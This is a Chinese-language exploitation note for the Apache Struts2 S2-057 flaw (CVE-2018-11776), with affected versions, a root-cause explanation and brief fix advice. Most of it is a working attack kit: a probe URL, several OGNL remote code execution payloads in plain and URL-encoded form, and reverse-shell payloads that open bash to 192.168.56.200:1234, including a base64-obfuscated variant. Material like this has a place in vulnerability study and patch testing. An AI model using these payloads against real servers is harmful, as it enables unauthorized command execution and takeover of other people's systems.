s2-057 CVE-2018-11776 远程代码执行
漏洞名称
s2-057 CVE-2018-11776 远程代码执行
利用条件
Struts 2.0.4 - Struts 2.3.34
Struts 2.5.0 - Struts 2.5.16
漏洞原理
该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时，namespace值未被设置且在上层动作配置（Action Configuration）中未设置或用通配符namespace，可能导致远程代码执行。同理，url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行
漏洞利用
漏洞检测
poc
/struts2-showcase/$%7B100*100%7D/actionChain1.action
回车访问
命令执行
注意：下列payload可能只适用于2.3.34版本，其他版本测试参考 参考文章
payload1
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
对所有字符url编码
在线URLEncode编码，URLDecode解码工具 - UU在线工具 (uutool.cn)
payload2
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}
对payload进行 URLEncode编码
在线URLEncode编码，URLDecode解码工具 - UU在线工具 (uutool.cn)
payload3
适用于windows，linux
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
在线URLEncode编码，URLDecode解码工具 - UU在线工具 (uutool.cn)
反弹shell
payload1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -i >& /dev/tcp/192.168.56.200/1234 0>&1')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
payload2
反弹命令
{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
替换
%7Becho%2CL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
payload中的反弹命令字段
payload
%24%7B%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.setExcludedClasses%28%27java.lang.Shutdown%27%29%29.%28%23ou.setExcludedPackageNames%28%27sun.reflect.%27%29%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27%7Becho%2CL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
payload3
和payload2类似window，linux通用
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
修复建议
- 临时解决方案：上层动作配置中没有设置或使用通配符namespace时，验证所有XML配置中的namespace，同时在JSP中验证所有url标签的value和action。
- 升级最新版本
参考文章
https://cwiki.apache.org/confluence/display/WW/S2-057
